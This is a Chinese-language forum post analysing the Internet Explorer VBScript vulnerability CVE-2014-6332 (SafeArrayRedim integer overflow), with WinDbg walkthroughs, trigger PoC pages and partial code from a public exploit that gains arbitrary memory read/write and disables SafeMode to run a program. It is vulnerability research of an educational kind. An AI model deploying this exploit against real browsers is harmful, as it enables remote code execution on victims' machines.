首页
社区
课程
招聘
Internet Explorer漏洞分析(三)——CVE-2014-6332
发表于: 2021-3-8 15:02 7722

Internet Explorer漏洞分析(三)——CVE-2014-6332

erfze 活跃值
12
2021-3-8 15:02
7722

oleaut32.dllSafeArrayRedim在进行数组重新定义时未对传入参数psaboundNew进行有效校验,以致可以越界读写,进而造成任意代码执行。

Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1

MS14-064

请移步VBScript Scripting Engine初探

分析所用POC如下:

打开该POC,使用WinDbg附加调试,于vbscript!RedimPreserveArray函数处设断,允许阻止的内容:

执行到call oleaut32.dll!SafeArrayRedim处,跟进分析:

首先是判断传入参数psapsaboundNew均不为空:

之后对psa.fFeaturespsa.cDimspsa.cLocks进行判断:

call SafeArraySize计算数组元素占用空间大小:

psaboundNew写入psa.rgsabound中:

调整后数组:

计算调整后数组元素占用空间大小,减去原来数组元素占用空间大小:

由于此时ebx=80000000,故执行结果为负数指令分支 :

ole32!CRetailMalloc_Alloc函数用于为HeapAlloc传递参数并调用之:

由于申请空间远远超过可分配空间大小,故分配失败,直接跳转到函数末返回错误值:

由此,便可实现任意地址读写。

下面来看看正常执行流程,修改POC如下:

调整后数组元素占用空间大小-原来数组元素占用空间大小=0x50-0x70=ffffffe0

对其取相反数后申请如此大小空间:

之后将数组多余元素即arrayA(5)—arrayA(6)复制到此空间内:

call ole32!CRetailMalloc_Realloc重新分配堆块:

总结:

POC中&h8000000(该值经过SafeArraySize函数计算后为0x80000000)正是利用以上三点,实现任意地址读写——test ebx, ebxjge组合进行有符号数比较,neg对其取反仍为0x80000000。

Exp来自yuange

第一部分:

通过循环不断重新定义数组,扩大数组规模,直至数组aaab于内存中相邻(准确 来说,二者相差8字节):

ab(0)=1.123456789012345678901234567890,该值转换IEEE浮点数可通过IEEE 754 Calculator计算:

如此一来,可通过aa数组访问ab数组元素(由ab起始位置偏移8字节)。type1=&h2f66判断是由于GetVarType函数返回前会将vt0xFFFFBFFF作与运算:

第二部分:

先来看i=testaa操作——将函数赋值给变量。简化版如下:

vbscript!VbsIsEmpty断下:

通过ba w 2 1dc9e68ba w 4 1dc9e68+8两条指令对栈顶设断,第二次断下时,修改vt0x4C

第三次断下:

第四次断下,更改vt0x01(VT_NULL = 0x0001):

但其仍存储的是vbscript!CScriptEntryPoint对象,其后赋值给iOn Error Resume Next在此处尤为重要,是否加入该语句执行情况对比:

未加入On Error Resume Next语句最终会调用CSession::ReportError

而不会执行后续i = null语句,感兴趣的读者可自行探索CScriptRuntime::RunNoEH函数,不在这里过多展开(该函数功能复杂,笔者仅是简单跟踪是否加入On Error Resume Next语句的执行流):

开启任意读写后执行aa(a1)=i

ab(0)=6.36598737437801E-314

aa(a1+2)=myarray

ab(2)=1.74088534731324E-310

关于此处的调试可于vbscript!VbsIsEmpty函数设断,配合如下修改:

第一次断下后,可获得数组元素存储位置:

mydata=aa(a1)

第三部分:

该函数功能用于读取参数add指向内存,关键函数是cbLengthBstr(具体请参考VBScript Scripting Engine初探——0x05 LenB函数一节)。ab(0)=1.69759663316747E-313

完成读取:

第四部分:

第一次读取结果见上文图片,i=readmemo(i+16)第二次读取:

该地址为vbscript!COleScript对象:

通过循环于该对象偏移0x120之后搜寻0x0E,该值用于检查是否处于SafeMode:

aa(a1+2)存储的是之前构造数组对象——myarray

myarray起始地址为0,rgsabound.cElements0x7fff0000,故可读写vbscript!COleScript+0x170处内容:

修改完成,进入GodMode,成功弹出notepad.exe。

Microsoft Docs——SAFEARRAY

VBScript Scripting Engine初探

<!doctype html>
<html lang="en">
<head>
</head>
 
<body>
<script LANGUAGE="VBScript">
    On Error Resume Next
    Dim arrayA()
    Dim size
    Dim over
    size = &h5
    over = &h8000000 + size
    Redim Preserve arrayA(size)
 
    Redim Preserve arrayA(over)
    arrayA(size+1) = "Hello"
</script>
</body>
</html>
<!doctype html>
<html lang="en">
<head>
</head>
 
<body>
<script LANGUAGE="VBScript">
    On Error Resume Next
    Dim arrayA()
    Dim size
    Dim over
    size = &h5
    over = &h8000000 + size
    Redim Preserve arrayA(size)
 
    Redim Preserve arrayA(over)
    arrayA(size+1) = "Hello"
</script>
</body>
</html>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
<!doctype html>
<html lang="en">
<head>
</head>
 
<body>
<script LANGUAGE="VBScript">
    On Error Resume Next
    Dim arrayA()
    Dim size
    Dim over
    size = &h6
    resize = &h4
    Redim Preserve arrayA(size)
    arrayA(0)="Jane"
    arrayA(5)="Alan"
    Redim Preserve arrayA(resize)
    IsEmpty(arrayA)
</script>
</body>
</html>
<!doctype html>
<html lang="en">
<head>
</head>
 
<body>
<script LANGUAGE="VBScript">
    On Error Resume Next
    Dim arrayA()
    Dim size
    Dim over
    size = &h6
    resize = &h4
    Redim Preserve arrayA(size)
    arrayA(0)="Jane"
    arrayA(5)="Alan"
    Redim Preserve arrayA(resize)
    IsEmpty(arrayA)
</script>
</body>
</html>
 
 
 
 
 
 
 
 
 
 
function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)    
   a3=7+3*rnd(5)
end function
 
function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
    '   document.write(i)    
       Create=True
       Exit For
    End If
  Next
end function
 
......
 
function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000
 
    redim  Preserve aa(a0)
    redim   ab(a0)    
 
    redim  Preserve aa(a2)
 
    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(a0)=10
 
    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16            
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then   
                 If(IsObject(aa(a1)) = False ) Then        
                   type1=VarType(aa(a1))
                 end if              
              end if
           else
             redim  Preserve aa(a0)
             exit  function
           end if
        else
           if(vartype(aa(a1-1))<>0)  Then   
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if              
            end if
        end if
    end if
 
    '0x6f66 & 0xFFFFBFFF=0x2f66  
    If(type1=&h2f66) then        
          Over=True     
    End If 
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If 
 
    redim  Preserve aa(a0)         
 
end function
function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)    
   a3=7+3*rnd(5)
end function
 
function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
    '   document.write(i)    
       Create=True
       Exit For
    End If
  Next
end function
 
......
 
function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000
 
    redim  Preserve aa(a0)
    redim   ab(a0)    

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (3)
雪    币: 15187
活跃值: (16852)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
2
师傅这个不发漏洞版块么
2021-3-8 16:37
0
雪    币: 1332
活跃值: (9481)
能力值: ( LV12,RANK:650 )
在线值:
发帖
回帖
粉丝
3
确实发错版块了
2021-3-8 16:46
0
雪    币: 47147
活跃值: (20445)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
4
将此帖从 软件逆向版,移到二进制漏洞了
2021-3-10 18:32
0
游客
登录 | 注册 方可回帖
返回
//